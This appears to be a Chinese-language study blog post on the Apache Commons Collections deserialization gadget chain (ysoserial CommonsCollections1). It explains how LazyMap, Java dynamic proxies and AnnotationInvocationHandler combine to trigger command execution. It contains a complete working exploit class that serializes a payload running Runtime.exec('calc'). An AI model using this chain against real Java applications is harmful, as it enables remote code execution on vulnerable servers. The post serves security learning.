前言 之前学习cc链时都是从TransformedMap触发,但是在最近的学习过程中发现在ysoserial生成CommonCollections1的payload中使用了LazyMap触发,现在来补充学习一下
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator。
两者唯一的差别是:
TransformedMap是在写入元素的时候执行transform 
LazyMap是在其get方法中执行的factory.transform ,在get找不到值的时候,它会调用factory.transform 方法去获取一个值 
 
两者在利用上的区别:
LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到Map的get方法。而AnnotationInvocationHandler类的invoke方法有调用到get,ysoserial中利用Java的对象代理来调用invoke来完成利用 
 
Java对象代理 之前在学习jdk7u21反序列化利用链时提到了java的动态代理。简单来说就是一个跟filter差不多的东西,在代码执行前先过一个拦截器,也就是InvocationHandler的实现类,在这个类的invoke方法里包含了我们想要执行的代码
Proxy.newProxyInstance方法会返回一个代理对象,它有三个参数:
第一个参数是ClassLoader,我们用默认的即可; 
第二个参数是我们需要代理的对象集合; 
第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。 
 
写个demo回顾一下,这里我们成功劫持了Map.put,让它执行了我们加入的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import  java.lang.reflect.InvocationHandler;import  java.lang.reflect.Method;import  java.lang.reflect.Proxy;import  java.util.HashMap;import  java.util.Map;class  MyInvocationHandler  implements  InvocationHandler  {     protected  Map map;     public  MyInvocationHandler (Map map)  {         this .map=map;     }     @Override      public  Object invoke (Object proxy,Method method,Object[] args)  throws  Throwable {         if  (method.getName().equals("put" )){             System.out.println("Hacked" );         }         return  method.invoke(map,args);     } }public  class  App   {     public  static  void  main (String[] args)   {         Map proxyMap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new  Class[]{Map.class},new  MyInvocationHandler(new  HashMap()));         proxyMap.put("hello" ,"world" );         String result=(String)proxyMap.get("hello" );         System.out.println(result);     } }
 
再回到主题,sun.reflect.annotation.AnnotationInvocationHandler这个类实际上就是一个InvocationHandler。如果我们把AnnotationInvocationHandler作为第三个参数传递给Proxy.newInstance,把AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject时,调用任意方法就会进入到AnnotationInvocationHandler#invoke 方法中,进而触发LazyMap#get 。
利用LazyMap构造利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.LazyMap;import  java.io.*;import  java.lang.annotation.Retention;import  java.lang.reflect.Constructor;import  java.lang.reflect.InvocationHandler;import  java.lang.reflect.Proxy;import  java.util.HashMap;import  java.util.Map;public  class  CommonCollections1   {     public  static  void  main (String[] args)  throws  Exception {         Transformer[] transformers = new  Transformer[] {                 new  ConstantTransformer(Runtime.class),                 new  InvokerTransformer("getMethod" , new  Class[] { String.class, Class[].class }, new  Object[] { "getRuntime" , new  Class[0 ] }),                 new  InvokerTransformer("invoke" , new  Class[] { Object.class, Object[].class }, new  Object[] { null , new  Object[0 ] }),                 new  InvokerTransformer("exec" , new  Class[] { String.class }, new  String[] {"calc"  }),         };         Transformer transformerChain = new  ChainedTransformer(transformers);         Map innerMap = new  HashMap();         Map outerMap = LazyMap.decorate(innerMap, transformerChain);         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);         construct.setAccessible(true );         InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new  Class[] {Map.class}, handler);         handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);         ByteArrayOutputStream barr = new  ByteArrayOutputStream();         ObjectOutputStream oos = new  ObjectOutputStream(barr);         oos.writeObject(handler);         oos.close();         System.out.println(barr);         ObjectInputStream ois = new  ObjectInputStream(new  ByteArrayInputStream(barr.toByteArray()));         Object o = (Object)ois.readObject();     } }
 
前面的跟之前一样,主要看后面的代码,有两个AnnotationInvocationHandler:
1.首先把TransformedMap换成LazyMap
1 Map outerMap = LazyMap . decorate(innerMap, transformerChain);
 
LazyMap的decorate
2.利用反射获取AnnotationInvocationHandler的构造方法
1 2 3 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true );
 
3.实例化被代理的AnnotationInvocationHandler,也就是最终用来触发transforn执行命令的
1 InvocationHandler handler = (InvocationHandler) construct.new Instance(Retention.class , outerMap ) ;
 
实例化了一个AnnotationInvocationHandler类,把封装好的LazyMap赋值给this.memberValues
4.创建用于代理的AnnotationInvocationHandler,利用AnnotationInvocationHandler#invoke触发上面的LazyMap#get
1 2 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new  Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
 
最后反序列化第二个AnnotationInvocationHandler
AnnotationInvocationHandler#readObject
此时的this.memberValues是proxyMap,调用proxyMap的任何方法都会进入AnnotationInvocationHandler#invoke所以相当于
1 proxyMap .memberValues .entrySet ().iterator ()
 
AnnotationInvocationHandler#invoke
调用proxyMap的任何方法都会进入AnnotationInvocationHandler#invoke,这里的memberValues是之前的LazyMap
LazyMap#get
执行transform,触发命令执行
问题 由于IDEA中Debug会利用toString,在实际执行过程中会提前弹计算器,需要把这个功能给关掉
参考 http://wjlshare.com/archives/1502 
https://reader-l.github.io/2020/10/21/java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E5%88%A9%E7%94%A8LazyMap%E6%9E%84%E9%80%A0%E5%88%A9%E7%94%A8%E9%93%BE/#3-%E5%88%A9%E7%94%A8LazyMap%E6%9E%84%E9%80%A0%E5%88%A9%E7%94%A8%E9%93%BE 
Java安全漫谈 - 11.反序列化篇(5)